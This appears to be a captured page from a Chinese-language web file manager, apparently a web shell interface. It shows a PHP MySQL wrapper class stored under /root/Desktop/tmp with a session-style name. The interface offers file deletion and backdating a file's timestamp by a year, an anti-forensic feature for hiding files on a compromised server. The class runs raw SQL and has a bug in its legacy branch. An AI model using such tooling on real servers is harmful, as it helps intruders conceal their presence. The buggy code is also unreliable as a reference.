文件操作 - sess_0da84599553944d82cf5f47f372d18demysql
返回文件管理
返回主菜单
删除本文件
文件: /root/Desktop/tmp/mbdvd0/sess_0da84599553944d82cf5f47f372d18demysql
编辑文件内容
<?php class mbd_mysql { function __construct($core) { $this->core = $core; if(isset($this->core->data->options)) $this->_o = $this->core->data->options; if(isset($this->core->data->params)) $this->_p = $this->core->data->params; } function connect($config) { if(function_exists('mysqli_connect')) { $this->type = 'mysqli'; $this->mysql = mysqli_connect($config[0], $config[1], $config[2], $config[3]); if($this->mysql->connect_error) return $this->core->out($this->mysql->connect_error); }else{ $this->mysql = mysql_connect($config[0], $config[1], $config[2]); if(!$this->mysql) return $this->core->out(mysql_error()); if(isset($config[3])) mysql_select_db($config[3], $this->mysql); } $this->prefix = isset($config[4]) ? $config[4] : ''; } function find($sql) { $sql = str_replace('@P_', $this->prefix, $sql); $data = array(); if($this->type=='mysqli') { if(!$result = $this->mysql->query($sql)) { $this->error = $this->mysql->error; return FALSE; } while($row = $result->fetch_object()) { $data[] = $row; } }else{ if(!$result = mysql_query($sql)) { $this->error = mysql_error(); return FALSE; } while($row = mysql_fetch_array($result, MYSQL_ASSOC)) { $d = new stdClass; foreach($row AS $i => $v) $d->$i = $v; $data[] = $v; } } if(!count($data)) return FALSE; if(count($data)==1 && count($data[0])==1) { $i = 'COUNT(*)'; if(isset($data[0]->$i)) return $data[0]->$i; } return $data; } }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件